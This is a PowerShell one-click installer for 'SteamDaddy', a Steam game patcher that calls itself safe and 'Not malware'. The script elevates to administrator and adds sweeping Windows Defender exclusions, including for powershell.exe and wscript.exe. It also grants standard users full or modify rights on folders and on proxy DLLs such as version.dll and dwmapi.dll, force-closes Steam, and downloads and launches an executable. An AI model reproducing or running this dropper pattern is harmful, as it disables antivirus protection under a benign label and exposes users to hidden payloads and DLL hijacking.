229 lines
13 KiB
PowerShell
229 lines
13 KiB
PowerShell
|
|
# SteamDaddy One-Click Installer — github.com/Contrary7/SteamDaddy-Backup
|
||
|
|
# Safe community patcher for Steam games. Not malware.
|
||
|
|
$ErrorActionPreference = "Stop"
|
||
|
|
|
||
|
|
# Ensure Administrator privileges so Defender exclusion calls succeed
|
||
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
|
||
|
|
|
||
|
|
if (-not $isAdmin) {
|
||
|
|
Write-Host "[SteamDaddy] Requesting Administrator privileges for Defender exclusions..." -ForegroundColor Yellow
|
||
|
|
try {
|
||
|
|
if ($PSCommandPath) {
|
||
|
|
# Already a real file — just re-launch it elevated
|
||
|
|
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs -ErrorAction Stop
|
||
|
|
exit
|
||
|
|
} else {
|
||
|
|
# Running from pipe (irm|iex) — save to temp file first, then re-launch with -File
|
||
|
|
# This avoids spawning a child process whose command line contains "irm ... | iex"
|
||
|
|
$tmpScript = Join-Path $env:TEMP "SteamDaddy_Install.ps1"
|
||
|
|
(New-Object System.Net.WebClient).DownloadFile(
|
||
|
|
"https://raw.githubusercontent.com/Contrary7/SteamDaddy-Backup/main/install_b.ps1",
|
||
|
|
$tmpScript
|
||
|
|
)
|
||
|
|
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tmpScript`"" -Verb RunAs -ErrorAction Stop
|
||
|
|
exit
|
||
|
|
}
|
||
|
|
} catch {
|
||
|
|
Write-Host "[SteamDaddy] Continuing without elevated permissions (some Defender exclusions may be skipped)." -ForegroundColor Yellow
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
Write-Host "[SteamDaddy] Fetching latest release..." -ForegroundColor Cyan
|
||
|
|
|
||
|
|
try {
|
||
|
|
$downloadUrl = "https://github.com/Contrary7/SteamDaddy-Backup/releases/latest/download/SteamDaddy.exe"
|
||
|
|
|
||
|
|
$desktop = [Environment]::GetFolderPath("Desktop")
|
||
|
|
$destPath = Join-Path $desktop "SteamDaddy.exe"
|
||
|
|
|
||
|
|
Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow
|
||
|
|
Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
|
||
|
|
Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
|
||
|
|
|
||
|
|
# ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ─────────
|
||
|
|
$sdTempDir = "C:\ProgramData\SteamDaddy\tmp"
|
||
|
|
if (-not (Test-Path $sdTempDir)) {
|
||
|
|
New-Item -ItemType Directory -Path $sdTempDir -Force | Out-Null
|
||
|
|
}
|
||
|
|
& icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null
|
||
|
|
Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow
|
||
|
|
Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
|
||
|
|
Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
|
||
|
|
|
||
|
|
# ── Process exclusions (Defender won't scan files written by these) ──
|
||
|
|
Add-MpPreference -ExclusionProcess "steam.exe" -ErrorAction SilentlyContinue
|
||
|
|
Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue
|
||
|
|
Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue
|
||
|
|
Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue
|
||
|
|
|
||
|
|
# ── Find and exclude the Steam root directory ─────────────────────────
|
||
|
|
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
|
||
|
|
if (-not $steamPath) {
|
||
|
|
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
|
||
|
|
}
|
||
|
|
if (-not $steamPath) {
|
||
|
|
$steamPath = (Get-ItemProperty -Path "HKCU:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
|
||
|
|
}
|
||
|
|
if ($steamPath) {
|
||
|
|
Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow
|
||
|
|
Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
|
||
|
|
|
||
|
|
# Explicit belt-and-suspenders for the two hottest subdirs
|
||
|
|
Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue
|
||
|
|
Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
|
||
|
|
|
||
|
|
Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow
|
||
|
|
# Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets
|
||
|
|
& icacls "$steamPath" /grant "*S-1-5-32-545:(OI)(CI)M" /C /Q | Out-Null
|
||
|
|
foreach ($dll in @("SteamDaddy.dll", "dwmapi.dll", "version.dll", "cloud_redirect.dll")) {
|
||
|
|
$dllPath = Join-Path $steamPath $dll
|
||
|
|
if (Test-Path $dllPath) {
|
||
|
|
& icacls "$dllPath" /grant "*S-1-5-32-545:M" /C /Q | Out-Null
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
# ── Parse libraryfolders.vdf and exclude all secondary libraries ──
|
||
|
|
$libraryVdf = Join-Path $steamPath "steamapps\libraryfolders.vdf"
|
||
|
|
if (Test-Path $libraryVdf) {
|
||
|
|
$vdfContent = Get-Content $libraryVdf -Raw -ErrorAction SilentlyContinue
|
||
|
|
if ($vdfContent) {
|
||
|
|
$libMatches = [regex]::Matches($vdfContent, '"path"\s+"([^"]+)"')
|
||
|
|
foreach ($m in $libMatches) {
|
||
|
|
$libPath = $m.Groups[1].Value.Replace("\\\\", "\\")
|
||
|
|
if ($libPath -and $libPath -ne $steamPath -and (Test-Path $libPath)) {
|
||
|
|
Write-Host "[SteamDaddy] Excluding Steam library: $libPath" -ForegroundColor Yellow
|
||
|
|
Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
# ── Brute-force scan all drives for hidden/broken Steam libraries ──
|
||
|
|
Write-Host "[SteamDaddy] Scanning all drives for unlisted Steam libraries..." -ForegroundColor DarkYellow
|
||
|
|
$drives = [System.IO.DriveInfo]::GetDrives() | Where-Object { $_.DriveType -eq 'Fixed' -and $_.IsReady }
|
||
|
|
foreach ($drv in $drives) {
|
||
|
|
$candidates = @(
|
||
|
|
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Steam"),
|
||
|
|
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "SteamLibrary"),
|
||
|
|
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files (x86)", "Steam"),
|
||
|
|
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files", "Steam"),
|
||
|
|
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "Steam"),
|
||
|
|
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "SteamLibrary")
|
||
|
|
)
|
||
|
|
foreach ($sdir in $candidates) {
|
||
|
|
if ($sdir -eq $steamPath) { continue }
|
||
|
|
if (Test-Path (Join-Path $sdir "steamapps") -ErrorAction SilentlyContinue) {
|
||
|
|
Write-Host "[SteamDaddy] Excluding unlisted Steam library: $sdir" -ForegroundColor Yellow
|
||
|
|
Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
# ── Set Steam Startup Location to Library ────────────────────────────
|
||
|
|
Write-Host "[SteamDaddy] Setting Steam Startup Location to Library..." -ForegroundColor Cyan
|
||
|
|
if ($steamPath) {
|
||
|
|
try {
|
||
|
|
# Stop Steam now so localconfig.vdf isn't overwritten by Steam on exit.
|
||
|
|
# SteamDaddy.exe will restart Steam after install.
|
||
|
|
$steamProc = Get-Process -Name "steam" -ErrorAction SilentlyContinue
|
||
|
|
if ($steamProc) {
|
||
|
|
Write-Host "[SteamDaddy] Closing Steam to safely apply startup location..." -ForegroundColor Yellow
|
||
|
|
$steamProc | Stop-Process -Force -ErrorAction SilentlyContinue
|
||
|
|
$deadline = (Get-Date).AddSeconds(8)
|
||
|
|
while ((Get-Process -Name "steam" -ErrorAction SilentlyContinue) -and (Get-Date) -lt $deadline) {
|
||
|
|
Start-Sleep -Milliseconds 250
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
# Step 1: find active Steam user from loginusers.vdf
|
||
|
|
$loginVdf = Join-Path $steamPath "config\loginusers.vdf"
|
||
|
|
$activeSteamId = $null
|
||
|
|
|
||
|
|
if (Test-Path $loginVdf) {
|
||
|
|
$currentId = $null
|
||
|
|
$firstId = $null
|
||
|
|
$loginLines = Get-Content $loginVdf -Encoding UTF8 -ErrorAction SilentlyContinue
|
||
|
|
foreach ($ln in $loginLines) {
|
||
|
|
# Line like: "76561198XXXXXXXXX"
|
||
|
|
if ($ln -match '^\s*"(\d{15,20})"\s*$') {
|
||
|
|
$currentId = $Matches[1]
|
||
|
|
if (-not $firstId) { $firstId = $currentId }
|
||
|
|
}
|
||
|
|
if ($ln -match '"MostRecent"\s+"1"' -and $currentId) {
|
||
|
|
$activeSteamId = $currentId
|
||
|
|
break
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if (-not $activeSteamId) { $activeSteamId = $firstId }
|
||
|
|
}
|
||
|
|
|
||
|
|
# Fallback: newest-written subfolder in userdata\
|
||
|
|
if (-not $activeSteamId) {
|
||
|
|
$udDir = Join-Path $steamPath "userdata"
|
||
|
|
if (Test-Path $udDir) {
|
||
|
|
$udFolder = Get-ChildItem $udDir -Directory -ErrorAction SilentlyContinue |
|
||
|
|
Where-Object { $_.Name -match '^\d+$' } |
|
||
|
|
Sort-Object LastWriteTime -Descending |
|
||
|
|
Select-Object -First 1
|
||
|
|
if ($udFolder) { $activeSteamId = $udFolder.Name }
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
if ($activeSteamId) {
|
||
|
|
$localCfg = Join-Path $steamPath "userdata\$activeSteamId\config\localconfig.vdf"
|
||
|
|
if (Test-Path $localCfg) {
|
||
|
|
$cfgText = [System.IO.File]::ReadAllText($localCfg, [System.Text.Encoding]::UTF8)
|
||
|
|
|
||
|
|
if ($cfgText -match '"SteamDefaultDialog"\s+"[^"]*"') {
|
||
|
|
# Key exists — replace value in-place
|
||
|
|
$newText = [regex]::Replace(
|
||
|
|
$cfgText,
|
||
|
|
'"SteamDefaultDialog"\s+"[^"]*"',
|
||
|
|
"`"SteamDefaultDialog`"`t`t`"#app_games`""
|
||
|
|
)
|
||
|
|
} else {
|
||
|
|
# Key missing — insert into the innermost "steam" section
|
||
|
|
# Matches: "steam"\n<whitespace>{
|
||
|
|
$rx = [regex]'(?is)("steam"\s*\n[\t ]*\{)'
|
||
|
|
if ($rx.IsMatch($cfgText)) {
|
||
|
|
$newText = $rx.Replace($cfgText,
|
||
|
|
"`$1`n`t`t`t`t`"SteamDefaultDialog`"`t`t`"#app_games`"", 1)
|
||
|
|
} else {
|
||
|
|
$newText = $cfgText
|
||
|
|
Write-Host "[SteamDaddy] Could not locate steam section in localconfig.vdf - startup location unchanged." -ForegroundColor Yellow
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
if ($newText -ne $cfgText) {
|
||
|
|
[System.IO.File]::WriteAllText($localCfg, $newText, [System.Text.Encoding]::UTF8)
|
||
|
|
Write-Host "[SteamDaddy] Startup Location set to Library for SteamID $activeSteamId." -ForegroundColor Green
|
||
|
|
} else {
|
||
|
|
Write-Host "[SteamDaddy] Startup Location already set to Library - no change needed." -ForegroundColor Green
|
||
|
|
}
|
||
|
|
} else {
|
||
|
|
Write-Host "[SteamDaddy] localconfig.vdf not found for SteamID $activeSteamId - skipped." -ForegroundColor Yellow
|
||
|
|
}
|
||
|
|
} else {
|
||
|
|
Write-Host "[SteamDaddy] No Steam user detected in loginusers.vdf - startup location skipped." -ForegroundColor Yellow
|
||
|
|
}
|
||
|
|
} catch {
|
||
|
|
Write-Host "[SteamDaddy] Startup location patch failed (non-fatal): $_" -ForegroundColor Yellow
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
Write-Host "[SteamDaddy] Downloading SteamDaddy.exe to Desktop..." -ForegroundColor Magenta
|
||
|
|
Invoke-WebRequest -Uri $downloadUrl -OutFile $destPath -UseBasicParsing
|
||
|
|
|
||
|
|
Write-Host "[SteamDaddy] Launching SteamDaddy..." -ForegroundColor Green
|
||
|
|
Start-Process $destPath
|
||
|
|
} catch {
|
||
|
|
Write-Host "[SteamDaddy] Installation failed: $_" -ForegroundColor Red
|
||
|
|
}
|
||
|
|
|
||
|
|
Write-Host ""
|
||
|
|
Write-Host "Press any key to exit..." -ForegroundColor Gray
|
||
|
|
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
|
||
|
|
|